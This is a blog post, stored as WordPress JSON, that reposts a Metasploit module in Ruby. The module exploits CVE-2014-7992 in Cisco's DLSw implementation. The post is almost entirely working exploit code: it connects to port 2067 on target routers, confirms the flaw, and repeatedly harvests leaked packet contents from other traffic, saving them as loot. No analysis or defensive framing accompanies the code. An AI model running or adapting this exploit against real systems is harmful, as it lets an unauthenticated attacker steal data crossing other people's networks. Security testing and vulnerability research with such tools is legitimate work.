{"id":59321,"date":"2024-09-01T01:50:27","date_gmt":"2024-08-31T22:50:27","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180926\/dlsw_leak_capture.rb.txt"},"modified":"2024-09-01T01:50:27","modified_gmt":"2024-08-31T22:50:27","slug":"cisco-dlsw-information-disclosure-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cisco-dlsw-information-disclosure-scanner\/","title":{"rendered":"Cisco DLSw Information Disclosure Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;socket&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Tcp<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Cisco DLSw Information Disclosure Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q(<br \/>This module implements the DLSw information disclosure retrieval. There<br \/>is a bug in Cisco&#8217;s DLSw implementation affecting 12.x and 15.x trains<br \/>that allows an unauthenticated remote attacker to retrieve the partial<br \/>contents of packets traversing a Cisco router with DLSw configured<br \/>and active.<br \/>),<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Tate Hansen&#8217;, # Vulnerability discovery<br \/>&#8216;John McLeod&#8217;, # Vulnerability discovery<br \/>&#8216;Kyle Rainey&#8217; # Built lab to recreate vulnerability and help test<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;CVE&#8217;, &#8216;2014-7992&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/tt5555\/dlsw_exploit&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;Nov 17 2014&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(2067),<br \/>OptInt.new(&#8216;LEAK_AMOUNT&#8217;, [true, &#8216;The number of bytes to store before shutting down.&#8217;, 1024])<br \/>])<br \/>end<\/p>\n<p>def get_response(size = 72)<br \/>connect<br \/>response = sock.get_once(size)<br \/>disconnect<br \/>response<br \/>end<\/p>\n<p># Called when using check<br \/>def check_host(_ip)<br \/>print_status(&#8220;Checking for DLSw information disclosure (CVE-2014-7992)&#8221;)<br \/>response = get_response<\/p>\n<p>if response.blank?<br \/>vprint_status(&#8220;No response&#8221;)<br \/>Exploit::CheckCode::Safe<br \/>elsif response[0..1] == &#8220;\\x31\\x48&#8221; || response[0..1] == &#8220;\\x32\\x48&#8221;<br \/>vprint_good(&#8220;Detected DLSw protocol&#8221;)<br \/>report_service(<br \/>host: rhost,<br \/>port: rport,<br \/>proto: &#8216;tcp&#8217;,<br \/>name: &#8216;dlsw&#8217;<br \/>)<br \/># TODO: check that response has something that truly indicates it is vulnerable<br \/># and not simply that it responded<br \/>unless response[18..72].scan(\/\\x00\/).length == 54<br \/>print_good(&#8220;Vulnerable to DLSw information disclosure; leaked #{response.length} bytes&#8221;)<br \/>report_vuln(<br \/>host: rhost,<br \/>port: rport,<br \/>name: name,<br \/>refs: references,<br \/>info: &#8220;Module #{fullname} collected #{response.length} bytes&#8221;<br \/>)<br \/>Exploit::CheckCode::Vulnerable<br \/>end<br \/>else<br \/>vprint_status(&#8220;#{response.size}-byte response didn&#8217;t contain any leaked data&#8221;)<br \/>Exploit::CheckCode::Safe<br \/>end<br \/>end<\/p>\n<p># Main method<br \/>def run_host(ip)<br \/>return unless check_host(ip) == Exploit::CheckCode::Vulnerable<\/p>\n<p>dlsw_data = &#8221;<br \/>until dlsw_data.length &gt; datastore[&#8216;LEAK_AMOUNT&#8217;]response = get_response<br \/>dlsw_data &lt;&lt; response[18..72] unless response.blank?<br \/>end<br \/>loot_and_report(dlsw_data)<br \/>end<\/p>\n<p>def loot_and_report(dlsw_leak)<br \/>path = store_loot(<br \/>&#8216;dlsw.packet.contents&#8217;,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>rhost,<br \/>dlsw_leak,<br \/>&#8216;DLSw_leaked_data&#8217;,<br \/>&#8216;DLSw packet memory leak&#8217;<br \/>)<br \/>print_status(&#8220;DLSw leaked data stored in #{path}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;socket&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Cisco DLSw Information Disclosure Scanner&#8217;,&#8216;Description&#8217; =&gt; %q(This module implements the DLSw information disclosure retrieval. Thereis a bug in Cisco&#8217;s DLSw implementation affecting 12.x and 15.x trainsthat allows an unauthenticated remote attacker to retrieve the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59321","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59321","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59321"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59321\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59321"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59321"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}